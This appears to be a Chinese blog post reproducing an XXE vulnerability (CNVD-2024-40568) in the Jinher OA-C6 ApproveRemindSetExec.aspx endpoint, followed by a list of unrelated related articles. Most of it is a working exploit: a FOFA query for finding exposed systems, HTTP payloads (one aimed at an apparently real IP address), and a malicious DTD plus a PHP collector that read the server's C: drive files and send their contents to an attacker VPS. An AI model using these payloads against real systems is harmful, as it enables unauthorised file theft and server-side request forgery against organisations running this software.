当前位置: 首页 > news >正文

金和OA-C6 ApproveRemindSetExec.aspx XXE漏洞复现(CNVD-2024-40568)

0x01 产品描述:

        金和C6协同管理平台是以"精确管理思想"为灵魂,围绕“企业协同四层次理论”模型,并紧紧抓住现代企业管理的六个核心要素:文化 Culture、 沟通Communication 、 协作Collaboration 、创新 Creation、 控制 Control、中心 Center,而构建了结构化的、灵活集成的、动态响应的、面向企业运营管理的智慧协同应用管理平台。
0x02 漏洞描述:

        金和OA-C6 ApproveRemindSetExec.aspx接口存在XXE漏洞,未经授权的攻击者可利用该漏洞实现任意文件读取或ssrf。
0x03 搜索语句:

Fofa:body="c6/Jhsoft.Web.login"


0x04 漏洞复现:

利用dnslog复现

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://123.0olbin.dnslog.cn"> %remote;]>

 

服务器快速检测: 

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: 61.133.99.56:88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://your-vps:port/test.xml"> %remote;]>

利用dtd获取数据:

整体流程:poc利用个人服务器执行dtd与读取目标服务器的c盘文件内容。

Dtd内容是XXE无回显利用方式,将内容外带到其他地方,将内容通过get.php写入file.txt。

首先在vps上创建以下脚本:

<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

 构造dtd用以读取,dtd里内容如下

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your-vps:port/get.php?file=%file;'>">

构造完成后vps启动服务用于信息监听

请求构造以下数据

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % remote SYSTEM "http://your-vps:port/xxe.dtd">
%remote;
%all;
]>
<root>&send;</root>

 

 获取win.ini数据

解码后

0x05 修复建议:

官方已修复该漏洞,请用户联系厂商修复漏洞:http://www.jinher.com/

http://www.lryc.cn/news/473091.html

相关文章:

  • Redis集群及Redis存储原理
  • 基于Springboot的图书个性化推荐系统【源码】+【论文】
  • 科普 | 子母钟系统是什么?网络时钟同步的重要性?
  • 批量删除redis数据【亲测可用】
  • Vuestic 数据表格 使用demo
  • 考勤无忧,Zoho People助HR高效
  • 已知一个法向量和一个点,求该平面的ModelCoefficients,并使用ProjectInliers将点云投影到该平面
  • 92.【C语言】数据结构之单向链表的查找,中间插入和删除,销毁
  • WPF+MVVM案例实战(七)- 系统初始化界面字体描边效果实现
  • 基于 C# 的 AI 算法测试方法
  • Find My画框|苹果Find My技术与画框结合,智能防丢,全球定位
  • 布谷语音源码服务器搭建环境及配置流程
  • 算法|牛客网华为机试21-30C++
  • Tomcat servlet response关于中文乱码的经验
  • WebGIS开发丨从入门到进阶,全系列课程分享
  • C++ 模板专题 - 标签分派(Tag Dispatching)
  • 如何解决RabbitMQ消息的重复消费问题
  • Java调用chatgpt
  • 将你的 Kibana Dev Console 请求导出到 Python 和 JavaScript 代码
  • 成都世运会志愿者招募报名流程及证件照制作方法
  • 大数据技术的前景如何?
  • LLM | 论文精读 | 基于大型语言模型的自主代理综述
  • 详解Redis相关缓存问题
  • ubuntu 24 (wayland)如何实现无显示器远程桌面
  • 《模拟电子技术基础》第六版PDF课后题答案详解
  • python知识收集
  • 传奇996_3——使用补丁添加怪物
  • 「Mac畅玩鸿蒙与硬件13」鸿蒙UI组件篇3 - TextInput 组件获取用户输入
  • MCU裸机任务调度架构
  • 【Web前端】JavaScript 对象原型与继承机制